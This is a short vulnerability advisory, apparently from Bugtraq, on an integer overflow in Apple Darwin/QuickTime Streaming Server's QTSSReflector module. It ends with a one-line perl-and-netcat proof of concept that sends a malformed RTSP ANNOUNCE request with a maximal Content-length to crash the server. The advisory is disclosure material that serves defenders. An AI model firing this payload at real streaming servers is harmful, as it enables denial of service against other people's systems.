Apple QuickTime/Darwin Streaming Server QTSSReflector Module Integer Overflow Vulnerability

BID:7659

Info

Apple QuickTime/Darwin Streaming Server QTSSReflector Module Integer Overflow Vulnerability

Bugtraq ID: 7659
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: Yes
Local: No
Published: May 22 2003 12:00AM
Updated: May 22 2003 12:00AM
Credit: The discovery of this vulnerability has been credited to Sir Mordred <[email protected]>.
Vulnerable: Apple Darwin Streaming Server 4.1.3
+ Apple Mac OS X 10.3.2
+ Apple Mac OS X 10.2.8
+ Apple Mac OS X Server 10.3.2
+ Apple Mac OS X Server 10.3.1
+ Apple Mac OS X Server 10.3.1
+ Apple Mac OS X Server 10.3
+ Apple Mac OS X Server 10.3
+ Apple Mac OS X Server 10.2.8
+ Apple Mac OS X Server 10.2.8
Not Vulnerable:

Discussion

Apple QuickTime/Darwin Streaming Server QTSSReflector Module Integer Overflow Vulnerability

A vulnerability has been reported for Apple QuickTime/Darwin Streaming Server. The problem is said to occur within the QTSSReflector module while processing the ANNOUNCE command. Specifically, by specifying an extremely large value as an argument within an ANNOUNCE request, it is possible to trigger an unexpected calculation causing the server to crash.

Although it has not been confirmed, it is speculated that this issue may be exploitable to corrupt memory.

Exploit / POC

Apple QuickTime/Darwin Streaming Server QTSSReflector Module Integer Overflow Vulnerability

The following proof of concept has been made available:

$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-length:4294967295\n\n","A"x8192' | nc -v localhost 554

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